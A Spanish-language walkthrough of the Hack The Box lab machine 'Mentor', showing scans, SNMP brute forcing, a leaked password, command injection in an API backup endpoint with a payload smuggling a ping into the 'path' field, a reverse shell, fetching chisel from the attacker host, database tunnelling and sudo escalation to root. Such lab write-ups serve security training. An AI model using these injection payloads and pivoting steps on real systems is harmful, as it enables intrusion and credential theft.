Table of Contents
Hack The Box: Mentor Writeup
Welcome to my detailed writeup of the medium difficulty machine “Mentor” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.228.102 --ulimit 5000 -g
210.129.228.102 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.228.102 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 22:30 CEST
3Nmap scan report for 10.129.228.102
4Host is up (0.038s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
10|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
1180/tcp open http Apache httpd 2.4.52
12|_http-title: Did not follow redirect to http://mentorquotes.htb/
13|_http-server-header: Apache/2.4.52 (Ubuntu)
14Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 7.88 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.102 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 22:32 CEST
3Nmap scan report for 10.129.228.102
4Host is up (0.039s latency).
5Not shown: 1493 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7161/udp open snmp
81068/udp closed instl_bootc
917989/udp closed unknown
1022292/udp closed unknown
1127064/udp closed unknown
1231673/udp closed unknown
1342313/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
Detectamos que está el puerto 161/UDP (SNMP) abierto, interesante.
HTTP enumeration & Virtual Hosting
Detectamos un dominio mentorquotes.htb
Detectamos que el Framework por detrás es Flask
1$ whatweb http://mentorquotes.htb
2http://mentorquotes.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.3 Python/3.6.9], IP[10.129.228.102], Python[3.6.9], Title[MentorQuotes], Werkzeug[2.0.3]
Tras analizar el código fuente de la página web no encuentro nada interesante. Así que decidí fuzzear en busca de nuevas rutas pero no encontré nada.
1$ feroxbuster -u http://mentorquotes.htb/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.4
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://mentorquotes.htb/
9 🚀 Threads │ 100
10 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.4
14 🔎 Extract Links │ true
15 🏁 HTTP methods │ [GET]
16 🔃 Recursion Depth │ 1
17───────────────────────────┴──────────────────────
18 🏁 Press [ENTER] to use the Scan Management Menu™
19──────────────────────────────────────────────────
20404 GET 4l 34w 232c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
21200 GET 167l 621w 5506c http://mentorquotes.htb/
22404 GET 9l 31w 278c http://mentorquotes.htb/http%3A%2F%2Fwww
23[##>-----------------] - 78s 28178/220545 11m found:2 errors:561
24🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_mentorquotes_htb_-1722544677.state ...
25[##>-----------------] - 78s 28183/220545 11m found:2 errors:561
26[##>-----------------] - 78s 28174/220545 361/s http://mentorquotes.htb/
Así que decidí fuzzear por subdominios.
1$ wfuzz --hc=302 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.mentorquotes.htb' http://mentorquotes.htb
2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
3********************************************************
4* Wfuzz 3.1.0 - The Web Fuzzer *
5********************************************************
6
7Target: http://mentorquotes.htb/
8Total requests: 114441
9
10=====================================================================
11ID Response Lines Word Chars Payload
12=====================================================================
13
14000000051: 404 0 L 2 W 22 Ch "api"
Y encontré un subdominio api
.
1$ curl -s http://api.mentorquotes.htb/ | jq
2{
3 "detail": "Not Found"
4}
API Enumeration
Con el diccionario SecLists/Discovery/Web-Content/api/api-endpoints.txt
Encontramos varias rutas interesantes.
1200 GET 69l 212w 2637c http://api.mentorquotes.htb/docs/oauth2-redirect
2200 GET 1l 48w 7676c http://api.mentorquotes.htb/openapi.json
3307 GET 0l 0w 0c http://api.mentorquotes.htb/docs/ => http://api.mentorquotes.htb/docs
4200 GET 31l 62w 969c http://api.mentorquotes.htb/docs
Esta ruta de openapi.json y /docs, me hace pensar que existe un swagger
detrás donde a parte de los endpoints, se expone un usuario james
.
Utilizo el endpoint de /auth/signup
para crearme un usuario.
Y al utilizar el endpoint de /auth/login
obtenemos un JWT.
Analizando este token, no encontramos nada interesante.
Pero ahora puedo hacer solicitudes a otros endpoints para los cuales necesitaba autenticación.
Me llama la atención el endpoint de /users/
pero necesito una cuenta de administrador.
1$ curl -s http://api.mentorquotes.htb/users/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InBvaW50ZWQiLCJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20ifQ.JDca2XQVvnl1welcPDL02FYJalCOChzoLjRRSUgZsMg' | jq
2{
3 "detail": "Only admin users can access this resource"
4}
Podemos ver todas las frases que salían en el sitio web.
1$ curl -s http://api.mentorquotes.htb/quotes/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InBvaW50ZWQiLCJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20ifQ.JDca2XQVvnl1welcPDL02FYJalCOChzoLjRRSUgZsMg' | jq
2[
3 {
4 "title": " I believed I was good",
5 "description": "I was so bad at studies in school. Teachers used to tell me that I should follow a different passion other than typical education. Nonetheless, I got rid of the negativity in myself and others and worked as hard as I could in my finals and college education. Now I am a paid accountant for a major brand in my country.",
6 "id": 1
7 },
8 {
9 "title": "Find your passion before its too late",
10 "description": "When I was growing up, I did not really have much, sure I enjoyed my passion but did not take it seriously. When I worked in a gas station for 3 years at that point I made a decision to go back to education and get a masters degree. Now I am a senior content engineer for a reputed company",
11 "id": 2
12 },
13 {
14 "title": "Never too late",
15 "description": "I was a construction worker for almost 10 years. I had to work there because I did not have any educational background to work in the academic sector. But I realized I was not getting the best of my life. So I started investing in crypto. Learned about how investing is done professionally. Soon enough I was able to give up the construction sector and start my own business. I did all this in my 60s",
16 "id": 3
17 },
18 {
19 "title": "Age is just a number",
20 "description": "When I was was kid, I used to create very simple video games as a hobby. Because I loved it so much, I thought to myself that I am going to be a game developer someday. With self-motivation, I applied for a job as a game designer when I just finished school. Now I work there as a permanent video game developer. And I am really proud to be the youngest employee there.",
21 "id": 4
22 },
23 {
24 "title": "Its all worth it in the end",
25 "description": "Working as a school teacher, I had a lot of responsibilities to fulfill. Even though I really loved teaching kids, the pressure was unbearable. I had 10-hour shifts at school including all the extra classes. But I did all of them to support the kids who needed my help. Now I am retired and I can not think of anything else that I would have done except this. When I see the kids I teach come and visit me telling how they enjoyed my teaching, all the hard work I put in is worth it.",
26 "id": 5
27 }
28]
Tampoco podemos crear ni editar una frase.
1$ curl -s -X POST http://api.mentorquotes.htb/quotes/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InBvaW50ZWQiLCJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20ifQ.JDca2XQVvnl1welcPDL02FYJalCOChzoLjRRSUgZsMg' -H 'Content-Type: application/json' --data '{"title": "testing", "description": "testing"}' | jq
2{
3 "detail": "Only admin users can access this resource"
4}
5
6┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/mentor/scan]
7└──╼ [★]$ curl -s -X PUT http://api.mentorquotes.htb/quotes/1/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InBvaW50ZWQiLCJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20ifQ.JDca2XQVvnl1welcPDL02FYJalCOChzoLjRRSUgZsMg' -H 'Content-Type: application/json' --data '{"title": "testing", "description": "testing"}' | jq
8{
9 "detail": "Only admin users can access this resource"
10}
Pensé que quizás existía alguna frase oculta que no se podía ver a simple vista, así que hice un script en python para intentar descubrirlas pero no sirvió.
1!/usr/bin/python3
2import requests
3
4JWT = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InBvaW50ZWQiLCJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20ifQ.JDca2XQVvnl1welcPDL02FYJalCOChzoLjRRSUgZsMg"
5BASE_URL = "http://api.mentorquotes.htb/quotes/<ID>/"
6BAD_QUOTE_LENGTH = 28
7
8def brute():
9 headers = {
10 "Authorization": JWT
11 }
12 for i in range(200):
13 r = requests.get(BASE_URL.replace("<ID>", str(i)), headers=headers)
14 if (len(r.text) != BAD_QUOTE_LENGTH):
15 print("[+] Quote with ID: " + str(i) + " exists")
16
17if __name__ == "__main__":
18 brute()
1$ python3 brute.py
2[+] Quote with ID: 0 exists
3[+] Quote with ID: 1 exists
4[+] Quote with ID: 2 exists
5[+] Quote with ID: 3 exists
6[+] Quote with ID: 4 exists
7[+] Quote with ID: 5 exists
Nos reporta lo que ya sabíamos..
SNMP Enumeration
Como con la API no he conseguido nada, voy a enumerar el otro puerto abierto a parte del SSH, el SNMP .
1$ snmpbulkwalk -v 2c -c public 10.129.228.102
2SNMPv2-MIB::sysDescr.0 = STRING: Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
3SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
4DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (267066) 0:44:30.66
5SNMPv2-MIB::sysContact.0 = STRING: Me <admin@mentorquotes.htb>
6SNMPv2-MIB::sysName.0 = STRING: mentor
7SNMPv2-MIB::sysLocation.0 = STRING: Sitting on the Dock of the Bay
8SNMPv2-MIB::sysServices.0 = INTEGER: 72
9SNMPv2-MIB::sysORLastChange.0 = Timeticks: (8) 0:00:00.08
10SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
11SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
12SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
13SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
14SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
15SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
16SNMPv2-MIB::sysORID.7 = OID: UDP-MIB::udpMIB
17SNMPv2-MIB::sysORID.8 = OID: IP-MIB::ip
18SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
19SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
20SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
21SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
22SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
23SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
24SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
25SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
26SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing UDP implementations
27SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing IP and ICMP implementations
28SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
29SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
30SNMPv2-MIB::sysORUpTime.1 = Timeticks: (8) 0:00:00.08
31SNMPv2-MIB::sysORUpTime.2 = Timeticks: (8) 0:00:00.08
32SNMPv2-MIB::sysORUpTime.3 = Timeticks: (8) 0:00:00.08
33SNMPv2-MIB::sysORUpTime.4 = Timeticks: (8) 0:00:00.08
34SNMPv2-MIB::sysORUpTime.5 = Timeticks: (8) 0:00:00.08
35SNMPv2-MIB::sysORUpTime.6 = Timeticks: (8) 0:00:00.08
36SNMPv2-MIB::sysORUpTime.7 = Timeticks: (8) 0:00:00.08
37SNMPv2-MIB::sysORUpTime.8 = Timeticks: (8) 0:00:00.08
38SNMPv2-MIB::sysORUpTime.9 = Timeticks: (8) 0:00:00.08
39SNMPv2-MIB::sysORUpTime.10 = Timeticks: (8) 0:00:00.08
40HOST-RESOURCES-MIB::hrSystemUptime.0 = Timeticks: (268106) 0:44:41.06
41HOST-RESOURCES-MIB::hrSystemDate.0 = STRING: 2024-8-1,19:11:3.0,+0:0
42HOST-RESOURCES-MIB::hrSystemInitialLoadDevice.0 = INTEGER: 393216
43HOST-RESOURCES-MIB::hrSystemInitialLoadParameters.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-56-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
44"
45HOST-RESOURCES-MIB::hrSystemNumUsers.0 = Gauge32: 0
46HOST-RESOURCES-MIB::hrSystemProcesses.0 = Gauge32: 228
47HOST-RESOURCES-MIB::hrSystemMaxProcesses.0 = INTEGER: 0
48HOST-RESOURCES-MIB::hrSystemMaxProcesses.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
Tampoco es que veamos nada interesante.
Al intentar con onesixtyone
hacer fuerza bruta a las community strings, me di cuenta de que solamente probaba con la versión v1 de SNMP, y no podía especificar la v2c.
1$ onesixtyone 10.129.228.102 -c /opt/SecLists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
2Scanning 1 hosts, 120 communities
310.129.228.102 [public] Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
410.129.228.102 [public] Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
Y si capturas estas solicitudes con wireshark
te das cuenta de la problemática.
Así que busqué una forma alternativa
Utilizando esta herramienta…
1$ python3 snmpbrute.py --file=/opt/SecLists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt --target=10.129.228.102
10.129.228.102 : 161 Version (v1): public
10.129.228.102 : 161 Version (v2c): public
10.129.228.102 : 161 Version (v2c): internal
Encontramos la community string internal
Y enumerando el SNMP…
Vemos que si ganamos acceso a la máquina seguramente estemos en un contenedor.
IF-MIB::ifDescr.4 = STRING: docker0
Encontramos que hay una base de datos postgres
por detrás.
HOST-RESOURCES-MIB::hrSWRunName.1925 = STRING: "postgres
Y un servicio login.py
que es raro..
HOST-RESOURCES-MIB::hrSWRunName.2090 = STRING: "login.py"
Y encontramos un information leakage donde se descubre una contraseña.
HOST-RESOURCES-MIB::hrSWRunParameters.2090 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
Foothold (container)
Ahora podemos intentar conseguir un token JWT como el usuario james
..
Abusing API
Ahora podemos intentar crear una frase.
1$ curl -s -X POST http://api.mentorquotes.htb/quotes/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' --data '{"title": "Testing", "description": "Testing"}'| jq
2{
3 "title": "Testing",
4 "description": "Testing",
5 "id": 6
6}
Y vemos que se reporta en la página principal, en lo primero que pensé es en hacer un SSTI.
Pero no funcionó.
Así que enumerando usuarios en el endpoint de /users/ encontramos otro usuario mas.
1{
2 "id": 1,
3 "email": "james@mentorquotes.htb",
4 "username": "james"
5 },
6 {
7 "id": 2,
8 "email": "svc@mentorquotes.htb",
9 "username": "service_acc"
10 }
No me sirve de nada, y después de revisar todos los endpoints no conseguí nada.
Así que cuando no consigues nada hay que seguir enumerando.
Con feroxbuster
pero utilizando otro diccionario, encontré un endpoint /admin
que no estaba documentado en el Swagger.
1$ feroxbuster -u http://api.mentorquotes.htb -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2....
3307 GET 0l 0w 0c http://api.mentorquotes.htb/admin => http://api.mentorquotes.htb/admin/
Uy, yo esto lo catalogaría como otro Information Leakage…
1$ curl -s -X GET http://api.mentorquotes.htb/admin/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq
2{
3 "admin_funcs": {
4 "check db connection": "/check",
5 "backup the application": "/backup"
6 }
7}
Check endpoint
1$ curl -s -X GET http://api.mentorquotes.htb/admin/check -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq
2{
3 "details": "Not implemented yet!"
4}
Por aquí parece que no es..
Backup endpoint
1$ curl -s -X GET http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq
2{
3 "detail": "Method Not Allowed"
4}
Esto tiene mejor pinta.. Cambiando el método a POST
1{
2 "detail": [
3 {
4 "loc": [
5 "body"
6 ],
7 "msg": "field required",
8 "type": "value_error.missing"
9 }
10 ]
11}
Añadiendo el encabezado Content-Type: application/json
y el parámetro --data '{}'
(vacío) para poder enumerar que campos necesito rellenar, nos reporta lo siguiente.
1{
2 "detail": [
3 {
4 "loc": [
5 "body",
6 "path"
7 ],
8 "msg": "field required",
9 "type": "value_error.missing"
10 }
11 ]
12}
1$ curl -s -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' --data '{"path": "test"}'| jq
2{
3 "INFO": "Done!"
4}
¿Done?
RCE
Después de probar un rato, supuse que estaba con tar, zip, 7z… lo que sea, ejecutando un comando a nivel de sistema donde se está pasando mi input, por lo cual, intenté ejecutar un comando.
1$ curl -s -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' --data '{"path": "asd; ping -c 1 10.10.14.80 #"}'| jq
2{
3 "INFO": "Done!"
4}
1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
423:40:50.193172 IP api.mentorquotes.htb > 10.10.14.80: ICMP echo request, id 6400, seq 0, length 64
523:40:50.193200 IP 10.10.14.80 > api.mentorquotes.htb: ICMP echo reply, id 6400, seq 0, length 64
Ahora solo queda mandarnos la reverse shell.
Después de probar los métodos comunes no pude mandar la revshell.
Así que como la máquina estaba corriendo Flask
sabemos que tiene python, así que probé a mandarme la revshell con python.
Tuve que pasarme a burpsuite
para escapar los caracteres correctamente, además, como es un contenedor, hay que mandar una sh
y no una bash
Podemos ver que hemos ganado acceso al contenedor
1ip a
21: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
3 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4 inet 127.0.0.1/8 scope host lo
5 valid_lft forever preferred_lft forever
611: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
7 link/ether 02:42:ac:16:00:03 brd ff:ff:ff:ff:ff:ff
8 inet 172.22.0.3/16 brd 172.22.255.255 scope global eth0
9 valid_lft forever preferred_lft forever
La flag se encuentra en este contenedor
/home/svc/user.txt
Escaping the container
Me importa el archivo db.py
de la aplicación ya que contiene credenciales de la base de datos.
1import os
2
3from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
4from sqlalchemy.sql import func
5from databases import Database
6
7# Database url if none is passed the default one is used
8DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
9
10# SQLAlchemy for quotes
11engine = create_engine(DATABASE_URL)
12metadata = MetaData()
13quotes = Table(
14 "quotes",
15 metadata,
16 Column("id", Integer, primary_key=True),
17 Column("title", String(50)),
18 Column("description", String(50)),
19 Column("created_date", DateTime, default=func.now(), nullable=False)
20)
21
22# SQLAlchemy for users
23engine = create_engine(DATABASE_URL)
24metadata = MetaData()
25users = Table(
26 "users",
27 metadata,
28 Column("id", Integer, primary_key=True),
29 Column("email", String(50)),
30 Column("username", String(50)),
31 Column("password", String(128) ,nullable=False)
32)
33
34
35# Databases query builder
36database = Database(DATABASE_URL)
Pero nos damos cuenta de que la BBDD está en otro equipo. Pero con chisel podemos hacer port-forwarding fácilmente.
Me descargo el chisel en la máquina víctima
1wget http://10.10.14.80:8081/chisel -O chisel
2Connecting to 10.10.14.80:8081 (10.10.14.80:8081)
3chisel 100% |********************************| 8452k 0:00:00 ETA
Atacante
1$ /opt/chisel/chisel server --reverse -p 1234
22024/08/02 00:03:21 server: Reverse tunnelling enabled
32024/08/02 00:03:21 server: Fingerprint XmJE32+0pB6QL7Qz0TxHillBb6Cs7f7sLF6uTMD4MnA=
42024/08/02 00:03:21 server: Listening on http://0.0.0.0:1234
52024/08/02 00:04:07 server: session#1: tun: proxy#R:5432=>172.22.0.1:5432: Listening
Máquina víctima
1./chisel client 10.10.14.80:1234 R:5432:172.22.0.1:5432
22024/08/01 20:04:27 client: Connecting to ws://10.10.14.80:1234
32024/08/01 20:04:27 client: Connected (Latency 37.887855ms)
Ahora en principio mi puerto local 5432 corresponde al puerto 5432 del equipo 172.22.0.1
Lo podemos comprobar..
1$ nmap -p5432 127.0.0.1
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 00:05 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00019s latency).
5
6PORT STATE SERVICE
75432/tcp open postgresql
Enumerating Database
He utilizado sshpass
para poner la contraseña de la base de datos rápidamente y así saltarme el prompt de la contraseña..
1$ sshpass -p postgres psql -h 127.0.0.1 -U postgres -W postgres -p 5432
2psql (15.7 (Debian 15.7-0+deb12u1), server 13.7 (Debian 13.7-1.pgdg110+1))
3Type "help" for help.
4
5postgres=#
con \list
detectamos una base de datos llamada mentorquotes_db
1postgres=# \c mentorquotes_db
2Password:
3psql (15.7 (Debian 15.7-0+deb12u1), server 13.7 (Debian 13.7-1.pgdg110+1))
4You are now connected to database "mentorquotes_db" as user "postgres".
5mentorquotes_db=# \dt
6 List of relations
7 Schema | Name | Type | Owner
8--------+----------+-------+----------
9 public | cmd_exec | table | postgres
10 public | quotes | table | postgres
11 public | users | table | postgres
12(3 rows)
13
14mentorquotes_db=#
Vemos varias tablas interesantes, pero la que mas me interesa es cmd_exec
ya que podría haberse ejecutado comandos que revelen credenciales…
1mentorquotes_db=# select * from users;
2 id | email | username | password
3----+------------------------+-------------+----------------------------------
4 1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
5 2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
6(2 rows)
Estos hashes podremos intentar romperlos, aunque ya sabemos la contraseña para el usuario james
..
Utilizando hashes.com podemos ver que este hash ya había sido crackeado.
Y ya podemos conectarnos con ssh y como el usuario svc
con la credencial encontrada y ganamos acceso a la máquina víctima.
1$ ssh svc@10.129.255.245
2The authenticity of host '10.129.255.245 (10.129.255.245)' can't be established.
3ED25519 key fingerprint is SHA256:fkqwgXFJ5spB0IsQCmw4K5HTzEPyM27mczyMp6Qct5Q.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added '10.129.255.245' (ED25519) to the list of known hosts.
7svc@10.129.255.245's password:
8Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)
9
10 * Documentation: https://help.ubuntu.com
11 * Management: https://landscape.canonical.com
12 * Support: https://ubuntu.com/advantage
13
14 System information as of Thu Aug 1 08:12:26 PM UTC 2024
15
16 System load: 0.0
17 Usage of /: 65.2% of 8.09GB
18 Memory usage: 14%
19 Swap usage: 0%
20 Processes: 249
21 Users logged in: 0
22 IPv4 address for br-028c7a43f929: 172.20.0.1
23 IPv4 address for br-24ddaa1f3b47: 172.19.0.1
24 IPv4 address for br-3d63c18e314d: 172.21.0.1
25 IPv4 address for br-7d5c72654da7: 172.22.0.1
26 IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
27 IPv4 address for docker0: 172.17.0.1
28 IPv4 address for eth0: 10.129.255.245
29 IPv6 address for eth0: dead:beef::250:56ff:fe94:6a7f
30
31
320 updates can be applied immediately.
33
34
35The list of available updates is more than a week old.
36To check for new updates run: sudo apt update
37
38Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
39svc@mentor:~$
User Pivoting
Ejecutando linpeas.sh
encontramos lo siguiente.
1══════════╣ Analyzing SNMP Files (limit 70)
2-rw-r--r-- 1 root root 3453 Jun 5 2022 /etc/snmp/snmpd.conf
3# rocommunity: a SNMPv1/SNMPv2c read-only access community name
4rocommunity public default -V systemonly
5rocommunity6 public default -V systemonly
6createUser bootstrap MD5 SuperSecurePassword123__ DES
7-rw------- 1 Debian-snmp Debian-snmp 1268 Aug 1 19:55 /var/lib/snmp/snmpd.conf
Y viendo los usuarios del sistema…
1svc@mentor:/tmp$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3svc:x:1001:1001:,,,:/home/svc:/bin/bash
4james:x:1000:1000:,,,:/home/james:/bin/bash
james:SuperSecurePassword123__
1c@mentor:/tmp$ su james
2Password:
3james@mentor:/tmp$
Privilege Escalation
Ejecutando el comando sudo -l
Vemos que el usuario james
puede ejecutar como el usuario que quiera, incluido root
el comando binario /bin/sh
1james@mentor:/tmp$ sudo -l
2[sudo] password for james:
3Sorry, try again.
4[sudo] password for james:
5Matching Defaults entries for james on mentor:
6 env_reset, mail_badpass,
7 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
8 use_pty
9
10User james may run the following commands on mentor:
11 (ALL) /bin/sh
Así que aquí ya está mascada la escalada de privilegios.
1james@mentor:/tmp$ sudo /bin/sh
2# id
3uid=0(root) gid=0(root) groups=0(root)
1# cat /root/root.txt
2ef134ef73e65ef5c0...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Mentor #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #Virtual Hosting #Subdomain Enumeration #API Enumeration #Abusing API #SNMP Enumeration (Snmpwalk && Snmpbulkwalk) + Community String Brute Force #Information Leakage #Abusing JWT #API Exploitation (Command Injection) #Chisel Tunnel + Postgresql Service Enumeration + Information Leakage #Abusing Sudoers Privilege [Privilege Escalation] #Escaping Docker Container